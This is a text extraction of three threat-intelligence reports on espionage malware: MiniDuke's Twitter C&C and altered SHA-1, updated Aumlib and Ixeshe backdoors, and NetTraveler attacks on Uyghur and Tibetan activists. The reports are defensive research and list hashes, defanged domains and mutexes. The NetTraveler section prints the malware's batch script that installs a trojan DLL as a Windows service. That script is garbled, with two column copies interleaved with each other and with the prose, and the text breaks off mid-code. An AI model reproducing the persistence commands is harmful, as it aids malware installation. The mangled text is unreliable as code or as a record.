fake GIF8 file containing encrypted executable. The malware processes the +downloaded file in the same way as previous samples of MiniDuke: it verifies the integrity of the file using +RSA-2048, then decrypts it, stores in a file and finally executes it. The RSA-2048 public key to verify +integrity of the executable inside the GIF file is the same as in the previous version of MiniDuke. +Twitter Generation Algorithm +In the event that MiniDuke is unable to retrieve a C&C URL from this account, it generates a username to +search for based on the current date. The search query changes roughly every seven days and is similar to +the backup mechanism in previous versions that was using Google searches. A Python implementation of +the algorithm can be found in Appendix B. +TwitterJS component + The TwitterJS module is extracted by creating a copy of the Windows DLL cryptdll.dll, injecting a block of +code into it and redirecting the exported functions to this code. Here is how the export address table of the +patched binary looks after modifications. +This file is then stored in an Alternate Data Stream (ADS) in NTUSER.DAT in the %USERPROFILE% +folder. Finally this DLL is registered as the Open command when a drive is open, which has the effect of +starting the bot every time the user opens a disk drive. Below you can find the content of +the init.cmd script used by MiniDuke to install TwitterJS module onto the system. +When loaded, TwitterJS instantiates the JScript COM object and decrypts a JScript file containing the +core logic of the module. +Prior to executing it, MiniDuke applies a light encoding to the script: The next images show the result of + two separate obfuscations, we can see that the variables have different values. This is probably done to +thwart security systems that scan at the entry points of the JScript engine. +Result of first obfuscation +Result of second obfuscation +The purpose of this script is to use Twitter to find a C&C and retrieve JScript code to execute. It first +generates a Twitter user to search for; this search term changes every 7 days and is actually a match to the +real account name, not the Twitter account name. The bot then visits the Twitter profiles returned by the +search and looks for links that end with +.xhtml +. When one is found, it replaces +.xhtml + with +.php + and +fetches that link. Information about the computer is embedded in the Accept HTTP header. +The first link on the retrieved page should contain base64 data; the name attribute of the link is used as a +rolling XOR key to decrypt the JScript code. Finally, MiniDuke calculates a hash of the fetched script and +compares it with a hardcoded hash in the TwitterJS script. If they match, the fetched script is executed by +calling eval(). +The tale of the broken SHA-1 +The code hashing algorithm used by the component looks very much like SHA-1 but outputs different +hashes (you can find the complete implementation in Appendix B. We decided to search for what was + changed in the algorithm; one of our working hypotheses was that the algorithm might have been altered +to make collisions feasible. We couldn +t find an obvious difference; all the constants and the steps of the +algorithm were as expected. Then we noticed that for short messages only the second 32-bit word was +different when compared to the original SHA-1. +SHA1( +test +) : a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 +TwitterJS_SHA1( +test +) : a94a8fe5dce4f01c1c4c0873d391e987982fbbd3 +By examining how this 2nd word was generated we finally discovered that this was caused by a scope +issue. As shown below the SHA-1 function used a variable named f: the function Z() is then called which +also uses a variable named f without the var keyword, causing it to be treated as a global variable rather +than local to the function. The end result is that the value of f is also changed in the SHA-1 function which +affects the value of the 2nd word for that round and ultimately the whole hash for long messages. + A likely explanation of how this problem came to be is + that the variable names were changed to single letters + using an automated tool prior to embedding it in the + payload. The 2 f variables probably had different names + in the original script which avoided the issue. So this + leaves us with two takeaways: 1) The difference in the + hashing algorithm was unintentional and 2) Always + declare your local variables with the var keyword. ;-) +Twitter DGA accounts +We generated the list of Twitter search terms for 2013-2014 and checked if any of those were registered. +At the moment only one exists, @AA2ADcAOAA, which is the TwitterJS account that was generated +between August 21st and 27th 2013. This account has no tweets. In an effort to discover potential victims, +we registered the Twitter accounts corresponding to the current week both for the main and TwitterJS +components and set up tweets with encrypted URLs so that an infected computer would reach out to our +server. So far we have received connections via the TwitterJS accounts from four computers located in +Belgium, France and the UK. We have contacted national CERTs to notify the affected parties. We detect +the RTF exploit document as Win32/Exploit.CVE-2014-1761.D and the MiniDuke components +as Win32/SandyEva.G. +Appendix A: SHA-1 hashes + SHA-1 Description + 58be4918df7fbf1e12de1a31d4f622e570a81b93 RTF with Word exploit CVE-2014-1761 + b27f6174173e71dc154413a525baddf3d6dea1fd MiniDuke main component (before config encryption) + c059303cd420dc892421ba4465f09b892de93c77 TwitterJS javascript code +Appendix B &C: DGA algorithms, Twitter DGA accounts +The DGA scripts and account lists have been moved to our Github account : +https://github.com/eset/malware-research/tree/master/miniduke +Author ESET Research, ESET +Survival of the Fittest: New York Times Attackers Evolve Quickly +The attackers behind the breach of the New York Times + computer network late last year appear to be +mounting fresh assaults that leverage new and improved versions of malware. +The new campaigns mark the first significant stirrings from the group since it went silent in January in the +wake of a detailed expose of the group and its exploits + and a retooling of what security researchers +believe is a massive spying operation based in China [1]. +The newest campaign uses updated versions of Aumlib and Ixeshe. +Aumlib, which for years has been used in targeted attacks, now encodes certain HTTP communications. +FireEye researchers spotted the malware when analyzing a recent attempted attack on an organization +involved in shaping economic policy. +And a new version of Ixeshe, which has been in service since 2009 to attack targets in East Asia, uses new +network traffic patterns, possibly to evade traditional network security systems. +The updates are significant for both of the longstanding malware families; before this year, Aumlib had +not changed since at least May 2011, and Ixeshe had not evolved since at least December 2011. +BACKGROUND +Cybercriminals are constantly evolving and adapting in their attempts to bypass computer network +defenses. But, larger, more successful threat actors tend to evolve at a slower rate. +As long as these actors regularly achieve their objective (stealing sensitive data), they are not motivated to +update or rethink their techniques, tactics, or procedures (TTPs). These threat actors + tactics follow the +same principles of evolution + successful techniques propagate, and unsuccessful ones are abandoned. +Attackers do not change their approach unless an external force or environmental shift compels them to. +As the old saying goes: If it ain +t broke, don +t fix it. +So when a larger, successful threat actor changes up tactics, the move always piques our attention. +Naturally, our first priority is ensuring that we detect the new or altered TTPs. But we also attempt to +figure out why the adversary changed + what broke? + so that we can predict if and when they will +change again in the future. +We observed an example of this phenomenon around May. About four months after The New York Times +publicized an attack on its network, the attackers behind the intrusion deployed updated versions of their +Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe malware families [2]. + The previous versions of Aumlib had not changed since at least May 2011, and Ixeshe had not evolved +since at least December 2011. +We cannot say for sure whether the attackers were responding to the scrutiny they received in the wake of +the episode. But we do know the change was sudden. Akin to turning a battleship, retooling TTPs of large +threat actors is formidable. Such a move requires recoding malware, updating infrastructure, and possibly +retraining workers on new processes. +The following sections detail the changes to Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe. +Backdoor.APT.Aumlib +Aumlib has been used in targeted attacks for years. Older variants of this malware family generated the +following POST request: +POST /bbs/info.asp HTTP/1.1 +Data sent via this POST request transmitted in clear text in the following structure: +|||| +A recently observed malware sample (hash value 832f5e01be536da71d5b3f7e41938cfb) appears to be a +modified variant of Aumlib. +The sample, which was deployed against an organization involved in shaping economic policy, was +downloaded from the following URL: +status[.]acmetoy[.]com/DD/myScript.js or status[.]acmetoy[.]com/DD/css.css +The sample generated the following traffic: +This output reveals the following changes when compared with earlier variants: + The POST URI is changed to /bbs/search.asp (as mentioned, earlier Aumlib variants used a POST + URI of /bbs/info.asp.) + The POST body is now encoded. +Additional requests from the sample generated the following traffic: +These subtle changes may be enough to circumvent existing IDS signatures designed to detect older +variants of the Aumlib family. +The sample 832f5e01be536da71d5b3f7e41938cfb shares code with an older Aumlib variant with the hash +cb3dcde34fd9ff0e19381d99b02f9692. The sample cb3dcde34fd9ff0e19381d99b02f9692 connected to +documents[.]myPicture[.]info and www[.]documents[.]myPicture[.]info and as expected generated the a +POST request to /bbs/info.asp. +Backdoor.APT.Ixeshe +Ixeshe has been used in targeted attacks since 2009, often against entities in East Asia [3]. Although the +network traffic is encoded with a custom Base64 alphabet, the URI pattern has been largely consistent: +/[ACD] [EW]S[Numbers].jsp?[Base64] +We analyzed a recent sample that appears to have targeted entities in Taiwan, a target consistent with +previous Ixeshe activity. + This sample (aa873ed803ca800ce92a39d9a683c644) exhibited network traffic that does not match the +earlier pattern and therefore may evade existing network traffic signatures designed to detect Ixeshe +related infections. +The Base64-encoded data still contains information including the victim +s hostname and IP address but +also a +mark + or +campaign tag/code + that the threat actors use to keep track of their various attacks. The +mark for this particular attack was [ll65]. +CONCLUSION +Based on our observations, the most successful threat actors evolve slowly and deliberately. So when they +do change, pay close attention. Knowing how attackers + strategy is shifting is crucial to detecting and +defending against today +s advanced threats. But knowing the + is equally important. That additional +degree of understanding can help organizations forecast when and how a threat actor might change their +behavior + because if you successfully foil their attacks, they probably will. +Notes + [1] http://www.nytimes.com/2013/01/31/technology/chinese-hackers-infiltrate-new-york-times- +computers.html?pagewanted=all +[2] This actor is known as APT12 by Mandiant +[3] http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white- +papers/wp_ixeshe.pdf +This entry was posted in Threat Intelligence, Threat Research by Ned Moran and Nart Villeneuve. +Bookmark the permalink. +NetTraveler APT Gets a Makeover for 10th Birthday +We have written about NetTraveler before HERE and HERE. +Earlier this year, we observed an uptick in the number of attacks against Uyghur and Tibetan supporters +using an updated version of the NetTraveler backdoor. +Here's an example of a targeted spear-phishing e-mail directed at Uyghur activists in March 2014. +The e-mail has two attachments, a non-malicious JPG file and a 373 KB Microsoft Word .DOC file. + "Sabiq sot xadimi gulnar abletning qeyin-Qistaqta olgenliki + File name + ashkarilanmaqta.doc" + MD5 b2385963d3afece16bd7478b4cf290ce + Size 381,667 bytes +The .DOC file, which in reality is a "Single File Web Page" container, also known as "Web archive file", +appears to have been created on a system using Microsoft Office - Simplified Chinese. +It contains an exploit for the CVE-2012-0158 vulnerability, detected by Kaspersky Lab products as + Exploit.MSWord.CVE-2012-0158.db. +If run on a vulnerable version of Microsoft Office, it drops the main module as "net.exe" (detected by +Kaspersky Lab products as Trojan-Dropper.Win32.Agent.lifr), which in turn installs a number of +other files. The main C&C module is dumped into +"%SystemRoot%\system32\Windowsupdataney.dll", (detected by Kaspersky as Trojan- +Spy.Win32.TravNet.qfr). + Name WINDOWSUPDATANEY.DLL + MD5 c13c79ad874215cfec8d318468e3d116 + Size 37,888 bytes +It is registered as a service (named "Windowsupdata") through a Windows Batch file named "DOT.BAT" +(detected by Kaspersky Lab products as Trojan.BAT.Tiny.b): + @echo off + @reg add + "HKEY_LOCAL_MACHINE\ + SOFTWARE\Microsoft\Win + dows@echo off + NT\CurrentVersion\Svcho + st" @reg + /v Windowsupdata /t + add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v + REG_MULTI_SZ /d + Windowsupdata + Windowsupdata /f + /t REG_MULTI_SZ /d Windowsupdata /f + @reg add + @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" /v + "HKEY_LOCAL_MACHINE\ + ImagePath /t REG_EXPAND_SZ /d %SystemRoot%\System32\svchost.exe -k Windowsupdata /f + SYSTEM\CurrentControlSe + t\Services\Windowsupdat + a" /v ImagePath + @reg /t + add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" /v + REG_EXPAND_SZ /d + DisplayName + %SystemRoot%\System32 + /t REG_SZ /d Windowsupdata /f + \svchost.exe -k + @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" + Windowsupdata /f /v + @regObjectName + add /t REG_SZ /d LocalSystem /f + "HKEY_LOCAL_MACHINE\ + SYSTEM\CurrentControlSe + @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" /v + t\Services\Windowsupdat + ErrorControl /t REG_DWORD /d 1 /f + a" /v DisplayName /t + REG_SZ /d + @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" + Windowsupdata /f /v Start /t + @regREG_DWORD + add /d 2 /f + "HKEY_LOCAL_MACHINE\ + SYSTEM\CurrentControlSe + @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata\Parameters" + t\Services\Windowsupdat + /v ServiceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\Windowsupdataney.dll /f + a" /v ObjectName /t + REG_SZ /d LocalSystem /f + @reg add +To make sure the malware isn't running multiple times, it uses the mutex "SD_2013 Is Running!" to mark + "HKEY_LOCAL_MACHINE\ + SYSTEM\CurrentControlSe +its presence in the system. Other known mutexes used by older and current variants include: + t\Services\Windowsupdat + a" /v ErrorControl /t + REG_DWORD /d 1 /f + @reg addBoat-12 Is Running! + "HKEY_LOCAL_MACHINE\ + DocHunter2012 Is Running! + SYSTEM\CurrentControlSe + t\Services\Windowsupdat + Hunter-2012 Is Running! + a" /v Start /t REG_DWORD + /d 2 /fNT-2012 Is Running! + @reg add + "HKEY_LOCAL_MACHINE\ + NetTravler Is Running! + NetTravler2012 Is Running! + SH-2011 Is Running! + ShengHai Is Running! + SD2013 is Running! +The malware configuration file is written to the "SYSTEM" folder (as opposed to SYSTEM32) and has a +slightly new format compared to "older" NetTraveler samples: +For the record, here's what an older NetTraveler config file looks like: +Obviously, the developers behind NetTraveler have taken steps to try to hide the malware's configuration. +Luckily, the encryption is relatively simple to break. +The algorithm is as follows: +for (i=0;i